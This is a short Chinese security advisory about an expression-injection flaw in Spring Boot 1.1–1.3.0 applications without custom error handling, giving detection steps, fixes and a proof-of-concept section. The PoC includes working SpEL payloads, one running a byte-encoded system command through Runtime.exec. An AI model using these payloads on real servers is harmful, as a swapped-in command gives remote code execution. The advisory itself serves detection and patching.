CVE漏洞编号:无
影响版本:Spring Boot 1.1 1.2 - Spring Boot 1.3.0
判断方法:满足下述2个条件,则存在漏洞:
1. Spring Boot 1.1 1.2 - Spring Boot 1.3.0
2. 没有对异常进行自定义处理
检测方法:
由于与程序使用着的编写习惯有关系,所以进行自检,查询方法如下:
1.检查Spring Boot版本是否在漏洞影响范围之内
2.如果1中成立,检查用户是否添加异常自定义处理机制
修复方法:
方法1:全局添加异常处理页面
方法2:升级Spring Boot版本至1.3.1或以上版本
官方链接:http://projects.spring.io/spring-boot/
POC:
注. 对每个参数进行检测,直接替换参数的值即可
1.判断是否存在表达式注入,${123456000%2b123456000%2b123456000},返回页面查询370368000
2.判断是否存在执行java语句,${new%20java.lang.String(new%20byte[]{97,98,99,100,101,102,103,103,102,101,100,99,98,97})},返回页面查询abcdefggfedcba
3.判断是否存在系统命令执行,${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(new%20java.lang.String(new%20byte[]{101, 99, 104, 111, 32, 45, 101, 32, 34, 115, 116, 97, 114, 116, 49, 50, 51, 52, 53, 54, 55, 56, 57, 92, 110, 49, 50, 51, 52, 53, 54, 55, 56, 57, 92, 110, 101, 110, 100, 49, 50, 51, 52, 53, 54, 55, 56, 57, 34})).getInputStream())},返回进行正则匹配'start123456789\s*(?P<cmdinfo>.*?)\s*end123456789',正则cmdinfo匹配出来的是123456789,则存在
对于python插件来说:
第一步:存在表达式注入
第二步:存在java代码注入
第三部:存在远程命令执行
[url=http://static.wooyun.org/upload/image/201607/2016071310394044468.jpg][/url]
|